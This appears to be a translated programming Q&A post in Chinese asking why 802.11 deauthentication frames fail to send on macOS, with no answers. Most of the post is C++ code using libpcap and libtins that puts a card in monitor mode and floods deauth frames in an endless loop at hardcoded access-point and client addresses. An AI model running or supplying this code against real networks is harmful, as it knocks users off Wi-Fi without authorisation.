如何在Mac OS上发送802.11数据包?

时间:2018-01-25 14:17:46

标签: macos monitor 802.11

我想在Mac OS上发送802.11数据包。

我使用pcap_set_rfmon

通过libpcap将我的NIC(en0)切换到监控模式

我想在这里发送deauth数据包我的代码(我也使用libtins)

我认为问题不是我的代码。

int main(int argc, const char * argv[]) {

    if(!chk_arg(argc))
        exit(1);

    char const * interface=argv[1];

    //Set sniffer device
    SnifferConfiguration config;
    config.set_promisc_mode(true);
    config.set_rfmon(true);

    Sniffer sniffer(interface,config);

    cout<<"Device : "<<interface<<endl;


    DeauthSender deauth_sender(interface);

    deauth_sender.SendDeauthTo("90:9f:33:77:07:ce","68:db:ca:d9:50:67",126000);

这里的DeathSender课程定义

bool DeauthSender::SendDeauthTo(Dot11::address_type bssid, Dot11::address_type station,int send_count)
{

    //if not define bssid or station address
    if(bssid=="00:00:00:00:00:00"||station=="00:00:00:00:00:00")
    {
        cout<<"sendDeauthTo faild"<<endl;
        cout<<"BSSID : "<<bssid<<endl;
        cout<<"Station : "<<station<<endl;

        return false;
    }

    Dot11Deauthentication deauth(station,bssid);
    deauth.addr1(station);
    deauth.addr2(station);
    deauth.addr3(bssid); //Also BSSID must be set
    RadioTap radio = RadioTap() / deauth ; //Make Packet

    for (int i = 0; ; ++i) {

        sender_.send(radio,sniff_dev_);

    }

    return true;

}

在macOS上发送802.11数据包是不可能的吗?

Mac OS:High Sierra(最新)

Xcode版本:最新

0 个答案:

没有答案